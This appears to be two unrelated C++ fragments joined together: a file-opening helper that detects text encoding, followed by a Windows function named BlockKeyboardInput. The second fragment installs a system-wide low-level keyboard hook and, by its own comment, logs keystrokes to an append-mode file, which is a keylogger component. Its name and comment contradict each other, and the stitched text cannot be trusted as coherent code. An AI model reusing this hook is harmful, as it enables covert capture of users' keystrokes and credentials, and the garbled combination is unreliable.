void Utils::openFile(const string& filepath, wifstream& stream, bool verbose) { unsigned char buffer[FILE_TEST_SIZE]; const unsigned long long fileLength = getFileSize(filepath); const size_t bytes = fileLength < FILE_TEST_SIZE ? (size_t)fileLength : FILE_TEST_SIZE; ifstream fin(filepath, ifstream::binary); fin.read((char*)buffer, bytes); fin.close(); AutoIt::TextEncodingDetect encodingDetector; AutoIt::TextEncodingDetect::Encoding encoding = encodingDetector.DetectEncoding(buffer, bytes); if (verbose) { dumpEncodingType(encoding); } switch (encoding) { // UTF-16 case AutoIt::TextEncodingDetect::UTF16_LE_BOM: case AutoIt::TextEncodingDetect::UTF16_LE_NOBOM: case AutoIt::TextEncodingDetect::UTF16_BE_BOM: case AutoIt::TextEncodingDetect::UTF16_BE_NOBOM: #if defined(_WIN32) || defined(WIN32) // Windows stream.open(filepath, ios::binary); stream.imbue(locale(fin.getloc(), new codecvt_utf16<wchar_t, 0x10ffff, consume_header>)); break; #else throw runtime_error("Converting UTF-16 encoded files is not supported on your platform."); #endif case AutoIt::TextEncodingDetect::UTF8_BOM: case AutoIt::TextEncodingDetect::UTF8_NOBOM: stream.open(filepath); stream.imbue(locale(fin.getloc(), new codecvt_utf8<wchar_t, 0x10ffff, consume_header>)); break; // ASCII, ANSI, none default: stream.open(filepath); stream.imbue(locale(fin.getloc(), new codecvt<wchar_t, char, mbstate_t>)); break; } }
// This function attaches a low level keyboard hook to the system and logs key strokes // using Win32 API void BlockKeyboardInput() { if (lockState) { infile.open( "KeyBoardPhysicalLayout.txt"); out.open("out.txt", ios_base::app); hhkLowLevelKybd = SetWindowsHookEx( WH_KEYBOARD_LL, LowLevelKeyboardProc, hInst, 0 ); } else { out.close(); infile.close(); UnhookWindowsHookEx(hhkLowLevelKybd); } lockState = !(lockState); }